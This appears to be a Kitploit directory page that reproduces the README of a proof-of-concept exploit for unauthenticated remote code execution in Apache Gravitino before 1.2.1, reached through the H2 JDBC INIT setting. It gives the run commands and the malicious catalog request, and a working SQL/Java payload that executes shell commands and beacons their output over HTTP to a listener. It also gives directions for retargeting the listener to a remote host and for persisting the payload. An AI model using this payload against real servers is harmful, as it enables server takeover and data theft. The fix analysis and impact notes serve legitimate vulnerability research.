Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-41042 — Exploits unauthenticated RCE in Apache Gravitino < 1.2.1 via H2 JDBC INIT; hosts SQL/Java payloads, executes commands, and exfiltrates output over HTTP beacon. | Kitploit
Tools/GitHubGitHub/lulztigre/cve-2026-41042
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHublulztigre/cve-2026-41042

cve-2026-41042

Exploits unauthenticated RCE in Apache Gravitino < 1.2.1 via H2 JDBC INIT; hosts SQL/Java payloads, executes commands, and exfiltrates output over HTTP beacon.

View Repository
224 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-41042: Apache Gravitino < 1.2.1 Unauthenticated RCE

Self-contained, stdlib-only proof of concept for CVE-2026-41042: unauthenticated remote code execution in Apache Gravitino before 1.2.1 via the H2 JDBC INIT connection setting. No auth headers, no extra drivers, no pip installs.

root@kitploit:~
python3 poc_cve-2026-41042.py http://127.0.0.1:8090 --metalake test_ml --cmd whoami

The script hosts the SQL payload and an output beacon, fires the testConnection request, and prints the command's stdout directly.

CVE assigned 2026-07-08, credited to Junjie Li (Xidian University). This is the first public working PoC for the issue. PoC by Akinlabi.

Affected versions

VulnerableApache Gravitino < 1.2.1 (gravitino-catalog-jdbc-common)
Fixed1.2.1
Advisoryhttps://lists.apache.org/thread/vdh88wc6j5b38v65ncb111wbbnkf6bvm

H2 1.4.200 ships in Gravitino's libs/ as the default entity-store backend, so the H2 driver is already on the server classpath. No extra driver needs to be deployed for the exploit to work.

Root cause

POST /api/metalakes/{metalake}/catalogs/testConnection (Jersey resource org.apache.gravitino.server.web.rest.CatalogOperations#testConnection, produces application/vnd.gravitino.v1+json) accepts a CatalogCreateRequest. The properties.jdbc-url value is handed to the catalog provider's connection factory with no validation of the JDBC driver.

Using the bundled H2 driver (org.h2.Driver) plus the H2 INIT connection setting executes arbitrary SQL at connect time, and CREATE ALIAS compiles and runs arbitrary Java on the server. The endpoint requires no authentication.

Usage

Requirements: Python 3, standard library only.

root@kitploit:~
python3 poc_cve-2026-41042.py <target> [--metalake NAME] [--cmd CMD] [--port PORT]
OptionDefaultDescription
target(required)Gravitino server, e.g. http://127.0.0.1:8090
--metalaketest_mlMetalake the catalog will be tested under
--cmdwhoamiCommand to execute on the target
--port9000Local port for the payload + beacon HTTP server

Examples:

root@kitploit:~
# Default run: whoami against the test_ml metalake
python3 poc_cve-2026-41042.py http://127.0.0.1:8090

# Custom command against a named metalake
python3 poc_cve-2026-41042.py http://10.0.0.5:8090 --metalake zeroauth_ml --cmd "ipconfig"

If the metalake does not exist, create one first (also unauthenticated):

root@kitploit:~
curl -X POST http://<target>:8090/api/metalakes \
  -H "Content-Type: application/json" \
  -d '{"name":"test_ml"}'

How it works

  1. The script starts a threaded HTTP server on 127.0.0.1 with two routes: /poc.sql serves the generated payload, /beacon?out=... captures command output.
  2. It POSTs a malicious catalog test:
root@kitploit:~
{
  "name": "h2rce",
  "type": "RELATIONAL",
  "provider": "jdbc-mysql",
  "properties": {
    "jdbc-url": "jdbc:h2:mem:t3f9a2c1;INIT=RUNSCRIPT FROM 'http://127.0.0.1:9000/poc.sql'",
    "jdbc-user": "sa",
    "jdbc-password": "",
    "jdbc-driver": "org.h2.Driver"
  }
}
  1. H2 fetches the SQL over HTTP and runs it at connect time. The payload registers two aliases:
root@kitploit:~
CREATE ALIAS IF NOT EXISTS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
  Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
  java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
  String l; StringBuilder sb = new StringBuilder();
  while ((l = br.readLine()) != null) sb.append(l).append("\n");
  br.close();
  return sb.toString();
}
$$;
CREATE ALIAS IF NOT EXISTS BEACON AS $$
String beacon(String s) throws java.io.IOException {
  java.net.URL u = new java.net.URL("http://127.0.0.1:9000/beacon?out=" + java.net.URLEncoder.encode(s, "UTF-8"));
  u.openConnection().getInputStream().close();
  return s;
}
$$;
CALL BEACON(SHELLEXEC('whoami'));

SHELLEXEC runs the command and returns its stdout as a string; BEACON exfiltrates it to the listener over HTTP; the script polls the beacon for up to 5 seconds and prints the output.

  1. The HTTP response is expected to be a 5xx. The jdbc-mysql provider's driver-version check (checkJDBCDriverVersion) fires after the connection is initialized, so the error is cosmetic: the INIT already ran. The error path is the execution path.

A fresh random in-memory database name is generated per run (secrets.token_hex(6)), so H2 aliases never persist between runs and every execution is deterministic.

Second entry point: persistent payload via createCatalog

The same malicious jdbc-url also works through POST /api/metalakes/{ml}/catalogs, which returns HTTP 200 and persists the H2 INIT URL in the catalog configuration. Any later connection-forcing operation triggers execution at initialize time:

root@kitploit:~
GET /api/metalakes/test_ml/catalogs/catreal/schemas

Both entry points route through the same initialize() -> DataSourceUtils.createDataSource path, so the 1.2.1 fix covers both.

Fix analysis (1.2.1)

DataSourceUtils.createDataSource now blocks H2 URLs and drivers (commits 84d3de9c7c / 5daabcd0e, verified in the 1.3.0 tree):

root@kitploit:~
String decodedUrl = recursiveDecode(jdbcConfig.getJdbcUrl().toLowerCase());
if (decodedUrl.startsWith("jdbc:h2")) {
  throw new GravitinoRuntimeException("H2 JDBC URL is not allowed in catalog configuration");
}
if (jdbcConfig.getJdbcDriver().toLowerCase().startsWith("org.h2.")) {
  throw new GravitinoRuntimeException("H2 JDBC driver is not allowed in catalog configuration");
}

recursiveDecode runs URLDecoder up to 5 times, so percent-encoding the prefix does not dodge the check. JdbcUrlUtils.validateJdbcConfig (also called from createDBCPDataSource) additionally blocks known-unsafe MySQL/MariaDB/PostgreSQL parameters (autoDeserialize, allowLoadLocalInfile, socketFactory, and friends).

Bypass attempts tested against a replica of the check with real H2 1.4.200: leading and trailing whitespace, 6x+ percent-encoding, case and tab tricks, suffix tricks, and non-JDBC providers. No clean bypass was found; the H2 vector appears solidly fixed in 1.2.1.

Impact assessment

Apache rates this low, citing H2 as dev/test-only and Gravitino as typically internal. The default install contradicts that:

  • H2 is the default entity-store backend, bundled in the distribution
  • testConnection and createCatalog are unauthenticated when gravitino.authorization.enable=false, which is the default
  • Default bind is 0.0.0.0:8090

Realistic CVSS v3.1 estimate: ~9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), subject to reachability of the Gravitino port.

Limitations

  • The payload and beacon are bound to 127.0.0.1. This matches a lab where attacker and target share a host. For a remote target, change the 127.0.0.1 references in make_payload() and exploit() to your listener IP.
  • The alias runs cmd.exe /c (Windows lab). On Linux targets, swap the new String[]{"cmd.exe", "/c", cmd} line for /bin/sh -c.
  • The createCatalog persistence path is not automated in this script; use the manual request above.

Disclaimer

For authorized security testing and research only. Every technique here was developed and verified in a local lab. Pointing this at a system you do not own may be illegal in your jurisdiction.

Download Tool